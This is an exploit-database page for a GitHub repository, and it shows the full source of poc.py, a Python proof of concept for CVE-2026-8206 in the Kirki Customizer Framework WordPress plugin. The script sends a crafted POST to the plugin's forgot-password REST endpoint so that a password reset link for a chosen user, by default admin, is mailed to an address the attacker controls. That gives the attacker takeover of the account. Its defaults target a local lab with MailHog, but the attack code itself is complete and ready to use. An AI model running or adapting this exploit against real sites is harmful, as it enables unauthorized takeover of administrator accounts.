Exploit databaseDownload repository ZIP
GH-7ac34e78c0ed8f035a5fe087b21d9ed3
dungsocool/cve-2026-8206
Sources for CVE-2026-8206
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
dungsocool/cve-2026-8206Revision 482d0c20168c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.py
Python · 2,398 bytes#!/usr/bin/env python3
"""
CVE-2026-8206 PoC - Kirki Customizer Framework Account Takeover
Endpoint: /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
Affects Kirki versions: 6.0.0 - 6.0.6
"""
import argparse
import json
import urllib.request
import urllib.parse
import sys
def exploit(target_url, username, attacker_email):
target_url = target_url.rstrip('/')
endpoint = f"{target_url}/index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password"
print(f"[*] Target Endpoint: {endpoint}")
print(f"[*] Target User: {username}")
print(f"[*] Attacker Email: {attacker_email}")
payload = {
'username': username,
'email': attacker_email,
'emailSubject': 'Password Reset Requested',
'emailBody': json.dumps([
{'type': 'text', 'value': 'Click link to reset password: '},
{'type': 'chip', 'value': 'reset_link'}
])
}
data = urllib.parse.urlencode(payload).encode('utf-8')
req = urllib.request.Request(
endpoint,
data=data,
headers={
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2026-8206-PoC'
},
method='POST'
)
try:
with urllib.request.urlopen(req) as response:
res_body = response.read().decode('utf-8')
print(f"[+] HTTP Status: {response.status}")
print(f"[+] Response Body: {res_body}")
print(f"\n[SUCCESS] Exploit executed successfully!")
print(f"[+] Check MailHog UI (http://localhost:8025) to view password reset link sent to '{attacker_email}'.")
except urllib.error.HTTPError as e:
print(f"[!] HTTP Error {e.code}: {e.read().decode('utf-8')}")
except Exception as e:
print(f"[!] Failed to send request: {e}")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="CVE-2026-8206 Kirki Account Takeover PoC")
parser.add_argument("--target", default="http://localhost:8080", help="Target WordPress Base URL")
parser.add_argument("--user", default="admin", help="Target username to reset password for")
parser.add_argument("--email", default="[email protected]", help="Attacker email address to receive reset token")
args = parser.parse_args()
exploit(args.target, args.user, args.email)